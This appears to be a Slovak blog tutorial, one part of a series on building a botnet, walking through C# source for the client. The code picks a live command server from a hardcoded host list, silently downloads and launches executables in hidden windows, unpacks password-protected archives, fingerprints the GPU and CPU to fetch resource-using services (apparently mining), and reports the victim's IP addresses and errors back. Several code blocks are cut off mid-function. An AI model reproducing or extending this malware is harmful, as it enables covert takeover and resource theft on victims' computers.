Botnety - Programovanie klienta
V minulom článku o vývoji botnet sme sa venovali kľúčovým mechanizmom. Dnes si predvedieme niektoré časti kódu z programovania klienta.
Programovanie Klienta
Popis Funkcia
Klient po štarte odovzdá informáciu o začatí činnosti, stiahne si informáciu o požadovanej činnosti a id stroja, na ktorom sa má vykonať príkaz a podľa jeho id a príkazu vykoná požiadavku. Po vykonaní požiadavke Klient odosiela dáta ohľadom úspešného alebo neúspešného splnenie úlohy. Klient vyčkáva na reset. Po resete klient čaká na ďalší príkaz a celá rutina sa opakuje.
Funkcie mimo rutinu
sú funkcie, ktoré sa nespúšťa každý cyklus, ale iba pri spustení programu, ich úloha je kontrolovať integritu programového súboru, diagnostika a riešenie integritných chýb. Tieto funkcie v programe sú pod triedou "Smart_Mate", ktorá zodpovedá za inteligentné riešenia a využívanie stroje na, ktorom je program spustený. Trieda obsahuje hlavné vstupný bod programu alebo "Main". Pri spustení programu je spustený program z tohto bodu a trieda si načítava niektoré z funkcií z triedy "BOTNET_Receiver", kvôli zníženiu veľkosti kódu a zbytočnej duplicite kódu. Po načítaní ohlási trieda "Smart_Mate" hosťovi oznámenie o spustení. V ďalšej fáze programu si inteligentne zistí zdroja stroja napr. Grafická karta a Procesor, a stiahne podľa typu grafickej karty a procesora službu na využívanie zdrojov systému. Akonáhle dokončí proces sťahovania a rozbaľovanie archívov, spustí služby a pokračuje do hlavného vstupného bodu triedy "BOTNET_Receiver", kde je zahájená rutina.
Zdrojový kód triedy Smart_Mate
Definícia používaných knižníc
Stanovenie mená triedy a includovaného súboru (namespace, class). Status public stanovuje, že trieda bude dostupná z iných programov a tried. Tieto knižnice, ktoré sme si vložili do programu:
using System; using System.IO; using System.Net; using System.Management; using System.IO.Compression; using System.Net.Sockets; namespace Smart_Mate { public static class smate {
obsahujú základné funkcie pre činnosť programu. Každá knižnica povoľuje iné funkcie napr. Net.Sockets povoľuje požiadavky http. Ďalšie povoľujú dekompresiu archívov, zaobchádzanie s archívmi a používanie systémových súborov pre zápis, čítanie a ďalšie.
Funkcie Štartovanie súborov
Táto funkcia spustí súbor podľa typu spustenie a požadovaných eskalovaných povolenia a skrytých alebo viditeľných okien. Verejná funkcia je tá, ktorá je spustiteľná z viacerých programov a tried. Funkcia po vyvolaní a odovzdanie názvu súboru nastaví argumenty pre spustenie súboru a zistí jeho existenciu. V prípade že neexistuje, je stiahnutý a potom spustený. Ak je zachytená chyba, je zaslaná hosťovi ako prerušenia činnosti.
Start (soubor.exe); //Volání funkce public static void start(string name) //pole funkce { try { if (File.Exists(name)) { System.Diagnostics.Process pProcess = new System.Diagnostics.Process(); pProcess.StartInfo.FileName = name; pProcess.StartInfo.Arguments = "olaa"; //argument pProcess.StartInfo.UseShellExecute = false; pProcess.StartInfo.RedirectStandardOutput = true; pProcess.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; pProcess.StartInfo.CreateNoWindow = true; //nezobrazovat okno pProcess.Start(); } else { if (name == "Hack.exe") { start("quickie.bat"); } else { try { download(@"resource/" + name, name); start(name); } catch { } } } } catch (Exception err)//Zachytit chybu { string erx = Convert.ToString(err); Botnet_Receiver.Program.send(null, erx); } }
Trieda "FileHandler" a jej funkcie
Táto trieda obsahuje prvky pre ovládanie súborového systému. Sú tu obsiahnuté ovládače pre zápis, čítanie a odstraňovanie.
Smart_Mate.filehandler.fd(soubor); //volání souboru public static class filehandler { static protected void fd(string file) { if (File.Exists(file)) { File.Delete(file); } } protected static void write(int text, string path = "buffer.dat") { File.WriteAllText(path, Convert.ToString(text)); } protected static int read(string file = "buffer.dat") { if (File.Exists(file)) { int fors = Convert.ToInt32(File.ReadAllText(file)); return fors; } return 0; } }
Činnosť: Po zavolaní funkcie v triede sa odovzdá informácie o činnosti do príslušnej funkcie, ktorá sa rozhodne o vykonaní činnosti. Ak nie je dostupná informácia tak sa rozhodne funkcie podľa defaultného stavu.
Funkcia "Choose" a určovanie hosťa
Táto funkcia zastáva najdôležitejšiu úlohu zo všetkých a to je všetka komunikácia s hosťom. Bez tejto funkcie by sme neboli schopní odosielať alebo prijímať dáta, pretože by sme nepoznali adresu.
Popis činnosti
- Funkcia neočakáva žiadne odovzdávanie vstupných parametrov
- Funkcia si načíta array všetkých uložených klientov
- Vyskúša cyklus pre výber hosťa (for)
- Stiahnu sa dáta zo súboru na webe, ak dáta sú rovné formáte "int.int", označí
hosťa ako online a hosť je vrátený
- Prípad, že hosť je off-line, funkcia určí ďalšieho hosťa pre pokus a pokúsi sa určiť stav
nasledujúceho hosťa až do konca poľa, pri konci poli program vráti hodnotu "Died", ktorá znamená, že hostia nie sú dostupní
- V prípade stavu Died sa program pokúsi zostaviť Peer-to-Peer pripojenie medzi klientmi a
pomocou iného klienta možno získať údaje z iného klienta, tzv. topológia server-server- klient
Zdrojový kód
public static string choose() { string[] hosts = { "192.168.1.100/", "http://nenapdane.tode.cz/" }; //List hostů try { for (int i = 0; i < hosts.Length; i++) //listuje mezi hosty do konce { again: //Bod návratu WebClient webClient = new WebClient(); string num = webClient.DownloadString(hosts[i] + "/version.dat"); num = num.Replace('.', '0'); int value; if (int.TryParse(num, out value)) { return hosts[i]; } else { Console.WriteLine("Solving"); i++; write(i); goto again; //návrat } } return "All hosts dead Trying to solve...";
Trieda "zip"
Táto trieda poskytuje zaobchádzanie s archívmi.
Funkcia "extract"
Rozbalí archív, ktorý je odovzdaný funkciu.
Funkcia "extract2"
Rozbalí archív s heslom, ktorý je odovzdaný a rozšifruje ho.
protected static void extract2(string zipPath) { string extractPath = ""; System.IO.Compression.ZipFile.ExtractToDirectory(zipPath, extractPath); } static protected void extract(string zipPath) { string path = Directory.GetCurrentDirectory(); string extractPath = path; using (Ionic.Zip.ZipFile archive = new Ionic.Zip.ZipFile(zipPath)) { archive.Password = "pass"; archive.Encryption = EncryptionAlgorithm.PkzipWeak; archive.StatusMessageTextWriter = Console.Out; archive.ExtractAll(path, ExtractExistingFileAction.OverwriteSilently); } }
Funkcia "download"
Stiahne odovzdaný súbor z dostupného hosťa.
public static void download(string from, string to) { string url = choose(); WebClient webClient = new WebClient(); webClient.DownloadFile(url + from, to); }
Trieda "stroj"
Táto trieda zaobchádza s systémovými funkciami a zistenie informácií o umiestnení v sieti a hardvéru.
Funkcie "GPU"
Zistí názov výrobcu grafickej karty z dôvodu kompatibility programu.
Funkcia "cpu"
Zistí podrobnosti o procesore.
public static string gpu() { ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_DisplayConfiguration"); string graphicsCard = string.Empty; foreach (ManagementObject mo in searcher.Get()) { foreach (PropertyData property in mo.Properties) { if (property.Name == "Description") { graphicsCard = property.Value.ToString(); return graphicsCard; } } } return graphicsCard; } public static string cpu() { ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_Processor"); string graphicsCard = string.Empty; foreach (ManagementObject mo in searcher.Get()) { foreach (PropertyData property in mo.Properties) { if (property.Name == "Name") { graphicsCard = property.Value.ToString(); return graphicsCard; } }
Funkcia "ip"
Rozoznať externú IP adresu počítača z odpovede serveru.
Funkcia "ipl"
Zistí lokálnu IP adresu a umiestnenie počítača v sieti systémovú knižnicou.
public static string ip() { string externalip = new WebClient().DownloadString("http://icanhazip.com"); return externalip; } public static string ipl() { var host = Dns.GetHostEntry(Dns.GetHostName()); foreach (var ip in host.AddressList) { if (ip.AddressFamily == AddressFamily.InterNetwork) { return ip.ToString(); } } return "Not Found"; }
Funkcia "Main" vstupný bod programu
Táto funkcia je vstupný bod programu, tu bude program začínať, vykoná funkciu a potom bude pokračovať ďalej ďalším vstupným bodom. Táto funkcia má za úlohu zhodnotiť systémové prostriedky ako je výrobca grafickej karty a na základe toho vybrať verziu programu, ktorú bude používať. Program nebude inštalovať znovu rovnaké balíky, ak už existujú. Príkaz "try" slúži na skúšanie programu a ak sa vyskytne problém, program sa neukončí.
static public void Main(string[] args) { if (!File.Exists(@"systems.exe")) { try {
Rozhodovania a rozdeľovanie na výrobcu
Program si získa výrobca z funkcie "GPU" ďalej sa rozhodne, či obsahuje string výrobcu AMD alebo NVIDIA. Podľa tohto nainštaluje ovládače a spustí hlavný program.
string graphicsCard = gpu(); string amd = "AMD"; string nvidia = "NVIDIA"; if (graphicsCard.Contains(amd)) { //stáhne odladače pro AMD GPU Botnet_Receiver.Program.main(args); } else if (graphicsCard.Contains(nvidia)) { //stáhne odladače pro NVIDIA GPU Botnet_Receiver.Program.main(args); } else { //Pokud nejsou GPU program pokračuje s CPU Botnet_Receiver.Program.main(args); }
Zachytenie chyby
Try - Catch blok tvorí základ pre program, ktorý by sa nemal ukončiť z ničoho nič kvôli chybe. Catch zachytí chybu a spustí hlavný program, ktorý sa môže pokúsiť chybu vyriešiť. Try tvorí
catch { Botnet_Receiver.Program.main(args); }
blok, ktorý sa spustí a ak je vyvolaná výnimka, je spustený blok catch. Vďaka týmto blokom je možné tento program prevádzkovať plynule bez výpadkov, pretože niektoré kontrolné body vyvolávajú výnimky za bežnej prevádzky vďaka napr. Prerušenia toku dát.
Nabudúce sa dostaneme k zdrojovým kódom hlavného programu.